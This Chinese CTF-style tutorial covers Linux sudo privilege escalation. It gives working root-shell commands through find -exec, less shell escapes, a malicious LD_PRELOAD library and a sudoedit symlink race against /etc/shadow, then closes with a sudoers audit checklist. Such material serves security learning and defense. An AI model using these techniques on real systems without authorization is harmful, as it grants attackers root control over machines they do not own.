1. 为什么sudo会成为CTF赛题的常客
在各类CTF竞赛中,权限提升(Privilege Escalation)始终是高频考点。而sudo作为Linux系统中管理特权操作的"守门人",其复杂的配置机制和丰富的功能选项,为出题人提供了绝佳的发挥空间。我参加过数十场CTF赛事,发现近70%的Linux系统权限提升题目都与sudo配置相关。
sudo本质上是个"特权委托系统",它允许普通用户以root或其他用户身份执行命令。其核心配置文件/etc/sudoers中,每个授权规则都包含:用户/用户组、主机、目标用户、可执行命令四个维度。正是这种多维度的灵活性,使得配置不当可能产生致命漏洞。
2. sudoers配置的魔鬼细节
2.1 危险的NOPASSWD标签
最常见的漏洞模式是滥用NOPASSWD标签。比如这样一条规则:
bash复制user1 ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
这意味着user1可以不输入密码直接以任意用户身份执行find命令。表面看只是开放了文件查找功能,实则暗藏杀机。因为find命令支持-exec参数执行任意命令,攻击者可以构造:
bash复制sudo find /home -exec /bin/sh \;
瞬间获得root shell。我在某次线下赛就靠这个技巧3秒内拿到flag。
2.2 被忽视的命令通配符
另一个典型陷阱是命令路径中使用通配符。例如:
bash复制user2 ALL=(root) /usr/bin/less /var/log/*
粗看只允许查看日志文件,但less有个鲜为人知的功能:输入!command可以执行系统命令。通过:
bash复制sudo less /var/log/auth.log
然后在less界面键入!/bin/sh,直接跳出root权限的shell。这种漏洞在老旧系统中尤其常见。
3. 实战中的高阶利用技巧
3.1 环境变量注入攻击
当sudo配置允许继承环境变量时(env_keep选项),危险系数直线上升。某次比赛中遇到这样的配置:
bash复制Defaults env_keep += "LD_PRELOAD"
user3 ALL=(ALL) /usr/bin/vim
通过以下步骤实现提权:
bash复制# 1. 编译恶意so库
echo 'void _init() { setuid(0); system("/bin/sh"); }' > evil.c
gcc -shared -o evil.so evil.c -fPIC
# 2. 通过vim加载
sudo LD_PRELOAD=./evil.so vim
vim启动时会加载我们的so库,直接触发root shell。这种手法的关键在于找到允许环境变量注入的sudo规则。
3.2 Sudoedit的文件竞争漏洞
sudoedit是sudo的编辑模式,在某些版本存在TOCTOU(Time-of-Check Time-of-Use)漏洞。典型利用流程:
bash复制# 1. 检查可用编辑器
sudo -l
# 2. 如果显示允许sudoedit
user4 ALL=(ALL) sudoedit /etc/*.conf
# 3. 创建符号链接指向敏感文件
ln -s /etc/shadow /tmp/test.conf
# 4. 快速切换链接目标
while true; do ln -sf /etc/shadow /tmp/test.conf; ln -sf /dev/null /tmp/test.conf; done &
# 5. 启动sudoedit
sudoedit /tmp/test.conf
在编辑器启动的瞬间,如果符号链接指向的是shadow文件,就能实现越权编辑。这个手法的成功率取决于系统速度,需要多尝试几次。
4. 防御者的自查清单
作为系统管理员,应当定期使用以下命令审计sudo配置:
bash复制# 检查所有用户的sudo权限
sudo -l
# 查找包含危险标签的规则
grep -E 'NOPASSWD|!root|ALL' /etc/sudoers
# 检查可写sudo配置文件
find /etc -name '*.sudo' -o -name 'sudoers*' -perm -o+w
特别要注意这些危险信号:
- 通配符(*)在命令路径中的使用
- 缺少PASSWD要求的规则
- 允许执行shell或编辑器(vim/less/nano等)
- 可自定义环境变量的规则
5. CTF选手的武器库
建议每位CTF选手维护自己的sudo提权备忘录,我的私人清单包含:
- GTFOBins项目:收集了上百种通过常见命令提权的方法(gtfobins.github.io)
- sudo版本漏洞:如CVE-2021-3156(Baron Samedit)这类历史漏洞
- 自定义脚本:自动检测sudo -l输出的扫描工具
- 模式识别:记录各类赛事中出现过的sudoers配置模式
在一次24小时攻防赛中,我们团队就是靠预先整理的sudo模式库,在10分钟内连破3台靶机。这印证了老话:"机会总是留给有准备的黑客"。
关键提示:实际渗透测试中,任何sudo提权操作前务必确认授权范围。我在某次企业授权测试中,就因为忽略sudo日志监控,触发了警报系统。合法合规永远是第一原则。